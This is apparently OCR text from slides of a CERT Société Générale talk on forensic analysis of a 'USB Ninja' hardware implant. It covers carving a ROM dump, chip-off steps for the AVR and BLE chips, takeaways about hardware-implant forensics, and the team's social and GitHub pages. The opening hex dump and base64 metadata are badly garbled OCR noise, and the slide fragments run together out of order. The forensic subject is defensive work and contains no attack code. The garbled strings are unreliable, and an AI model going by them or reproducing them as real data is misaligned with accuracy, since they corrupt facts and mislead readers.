FFFFFFF 4I108L3htcDpNb2RpZn LEYXR1PgogICAGICAGICABEGIWOKNYZWFOZURhAGU-H1] AXMSOXMCOWN1QX
FFFFFFFF

0 D . 2ef zNstMJ owMDwveleOkNyZWFOZUthGU+C iAg ICAg ICAgIDx4bXA6033 TYXRvc leb2w+QWRvaU

79615842 | [F |hHQ+C1AgICAgICAgIDvaGRdG‘LQbGU+C1AgICAgIDwvtmRkathZNyuX
67494341 | |0aW9uPgogICAgGICABcmRMOKR1c2NyaXB@aWOuIHIkZjphYm91dDO1iIgogICAgICA

tart: 29329 time:  4ms

69436941 glCAgICB4bquczp4bXAQImhﬂdHMiLySucyShZGglZSS]hZﬂVeGFleEuMCB\C\A X BN e [ O ra
3 gth: 29328

76654746 Output ’ length: -1 lines: 181 B D < -
52474630 Pgog
50676F67 ZT4yMDExLTEwLTA!VDHOJIlUJMleAijAwPCSMbXAGTWVBYWRthFEVXRlPgag [yoya. . JFIF..... y+s+-YaE. http://ns.adobe.com/xap/1.08/.<?xpacket begin="i»i"
40336874 ICAgICAg[(ABeG1w0k1v261meUthGU+MjAxMSﬂxM(GwN1QxN]uyNT00M108L3ht . ) "
AD433077 A 2 7 id="W5M@MpCehiHzreSzNTczkc9d" ?>
EEE;;;; l<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 4.2.2-c063
FFFFFFFF -
FFFFFFFF . . . .
FFFFFFFF | [F. x . /SerialEXFIL.txt W From carving the ROM dump (left) we end up finding the contents of the « secret.jspg » file that were referenced earlier.
FEFEREFE
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USB NINJA

Somehow your forensic analysis leads you to this device...

SOCIETE
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USB NINJA

kY
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Work still ongoing on this one ¢dialog Dalses
USB NINJA Stay tuned !

ARM M0™CPU

XTALIEM

QTP 32kB

RC32KHz

FLASH 1Mb RC16KHz
(only on DA14583)|

RAM 42 kB

RADIO

Retention
RAM & kB

BLE 4.2 MAC Ready
Digttal PHY

DCDC BUCK

Atmel 8-bit AVR Microcontroller with 2/4/8K
Bytes In-System Programmable Flash

ATtiny85/V

ROM
B4kB

TIMERS DCDC BOOST

GPI0 matrix

ATtiny25/V | ATtiny45/V |

Step 2
Chip off the BLE module

Step 1

Chip off the AVR pController And try to dump its content

And try to dump its content

SOCIETE
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TAKEAWAYS

SOCIETE
GENERALE




TAKEAWAYS

EXPERIMENT.
FAIL.
LEARN.

loT / Hardware Implant = there is still a lot to be done in the forensics field REPEAT.

Electronics available to everyone = no longer reserved to state-sponsored attackers
Equipment and practice are keys to success
Air Force Research Lab - AFRL @AFResearchlLab - 19 sept. v

.@JeffBezos “To be innovative you have to experiment.” It's not an experiment if
you know it will be successful. #ASC18
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( Centsa| Q)

= CERT SocieteGenerale & @CertSG

Abonnements

(CryptO-MS\on Q)

@ Crypt0-M3lon @Crypt0 M3lon

(Hequlemjr Q)
@ Requiem @Requiem_fr

SOCIETE
GENERALE

Thank you for your attention

Questions?

Let’s keep in touch

@CertSG

@Crypt0 M3lon

https://github.com/certsocietegenerale

@Requiem fr

CERT Société

Générale
certsocietegenerale

Block or repart user

A% Société Générale

@ https://cert.societegenerale.c...

Overview Repositories 8

Popular repositories

FIR

Fast Incident Response

@®@rython K985 %320

IRM

Incident Response Methodologies

*a437 Yas

swordphish-awareness

Swordphish Phishing Awareness Tool

JavaScript W66 ¥

Followers 301 Following 0

fame

FAME Automates Malware Evaluation

@python  da7a ¥z

event2timeline

Simple Microsoft Windows sessions event logs
visualization

@pPython k92 ¥13

fame_modules

Community modules for FAME

@python k31 Ve
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https://github.com/certsocietegenerale
https://twitter.com/CertSG
https://twitter.com/Crypt0_M3lon
https://twitter.com/Requiem_fr

